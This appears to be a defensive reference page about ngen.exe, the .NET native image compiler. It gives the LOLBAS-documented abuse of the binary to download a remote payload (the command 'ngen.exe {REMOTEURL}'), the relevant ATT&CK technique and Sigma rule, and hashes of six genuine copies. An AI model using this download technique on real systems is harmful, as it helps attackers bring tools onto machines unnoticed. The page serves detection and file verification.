Identifier / Programs / Windows

ngen.exe

Microsoft Common Language Runtime native compiler file version info (xCyclopedia)

LOLBAS Download 1 Sigma rule name it 1 ATT&CK technique 1 documented command 6 known copies with hashes

How ngen.exe is abused

documented by LOLBAS

Download T1105 Ingress Tool Transfer

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for ngen.exe.

1 documented command

from LOLBAS, each read by the identifier

Download T1105 Ingress Tool Transfer User privileges

Downloads payload from remote server using the Microsoft Native Image Generator utility.

ngen.exe {REMOTEURL}

Identify

The command the identifier reads trips no Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for ngen.exe, by Avihay Eldad, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for ngen.exe. The identifier reads it with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules

mediumProcess Creation Using Sysnative FolderMax Altgelt (Nextron Systems)

T1105Ingress Tool Transfer

Is it the real ngen.exe?

file version info and known copies

Installed inC:\Windows\Microsoft.NET\Framework64\v4.0.30319\
C:\Windows\Microsoft.NET\Framework\v4.0.30319\

Signed byMicrosoft Windows

ProductMicrosoft .NET Framework, Microsoft Corporation

DescriptionMicrosoft Common Language Runtime native compiler

6 known copies

4.8.4341.0 built by: NET48REL1LAST_C · C:\WINDOWS\Microsoft.NET\Framework\v4.0.30319\ngen.exe · signed by Microsoft Windows

a2e008ab3dbac4e566f47745fecbbe41b623aa404a69082f994ddb771c8e535f

4.8.4341.0 built by: NET48REL1LAST_C · C:\WINDOWS\Microsoft.NET\Framework64\v4.0.30319\ngen.exe · signed by Microsoft Windows

eb88b9a51ea3730b4a95bbcb28e101c2a1736ad65e63aae7abaa09a8b37ddbef

4.8.4320.0 built by: NET48REL1LAST_C · C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe · signed by Microsoft Corporation

a446d35f5e60bdae1a7117b71d90abb0fea424ee416b0e0ecd2c485dc5939a68

4.8.4320.0 built by: NET48REL1LAST_C · C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe · signed by Microsoft Corporation

d0105566bc22ef92204e163428e5feda866f8a9b2be19be3b95e6327fff3f8c6

4.8.4084.0 built by: NET48REL1 · C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe · signed by Microsoft Windows

7c151d31d31f61bd4794c57c3fb527f910a99ba81f84951f15cf4d58b2d63c24

4.8.4084.0 built by: NET48REL1 · C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe · signed by Microsoft Windows

c555cf03bcbc780f8a39cbf8b95254fd3798a703ba71b84af84ef33e36d0d761

From the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.